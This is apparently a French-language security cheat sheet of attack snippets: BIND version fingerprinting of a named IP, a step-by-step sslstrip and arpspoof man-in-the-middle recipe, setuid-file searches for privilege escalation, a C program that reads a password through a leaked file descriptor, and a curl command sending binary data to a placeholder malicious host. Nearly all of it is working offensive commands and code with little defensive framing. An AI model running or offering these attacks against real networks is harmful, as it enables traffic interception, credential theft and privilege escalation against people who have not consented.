Sécu-Tips

Connaître la version de Bind à distance

 # nslookup -q=txt -class=CHAOS version.bind 213.186.33.99

ou

 # fpdns -D 213.186.33.99

Décoder une chaîne en base64

 #perl -MMIME::Base64 -le 'print decode_base64 ("c2VjcmV00k1BbUdvZa---")'
 secret:IamGod

---

MITM Attack avec sslstrip

Activer le mode forwarding.

 echo "1" > /proc/sys/net/ipv4/ip_forward

Rediriger le traffic HTTP sur sslstrip avec iptables.

 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <listenPort>

Lancer sslstrip sslstrip.

 sslstrip.py -l <listenPort>

Lancer arpspoof pour se faire passer pour la gateway

 arpspoof -i <interface> -t <targetIP> <gatewayIP>

How does this work?

First, arpspoof convinces a host that our MAC address is the router’s MAC address, and the target begins to send us all its network traffic. The kernel forwards everything along except for traffic destined to port 80, which it redirects to $listenPort (10000, for example).

At this point, sslstrip receives the traffic and does its magic.

---

Recherche du bit setuid

SunOS

 find / -local -type f \( -perm -4000 -o -perm -2000 \) -print

AIX

 find / -type f \( -perm -4000 -o -perm -2000 \) -print

Linux

 find / -local -type f \( -perm -4000 -o -perm -2000 \) -print

HP-UX

 find / -local -type f \( -perm -4000 -o -perm -2000 \) -prin

Unix Hack

Files descriptors leaks

 #include <stdlib.h>
 #include <stdio.h>
 #define FD 3
 #define VSIZE 256
 int main() 
 {
   int index; char buffer[VSIZE];
   char cmd[VSIZE];
   sprintf(cmd, "ls -la /proc/%d/fd/3", getpid()+2);
   system(cmd);
   lseek(FD, 0, SEEK_SET);
   while((index = read(FD,buffer,VSIZE-1)) != 0 && index > 0) 
   {
      buffer[index-1] = '\0';
      fprintf(stdout,"[+] Password : %s\n", buffer);
      return EXIT_SUCCESS;
   }
   fprintf(stderr,"[-] Password not found\n");
   return EXIT_FAILURE;
 }

Envoyer du raw binaire à un site web

 curl --request POST --data-binary "@data.bin" hxxp://malicioussite.com/loveyoupolice182938481.php -o answer.bin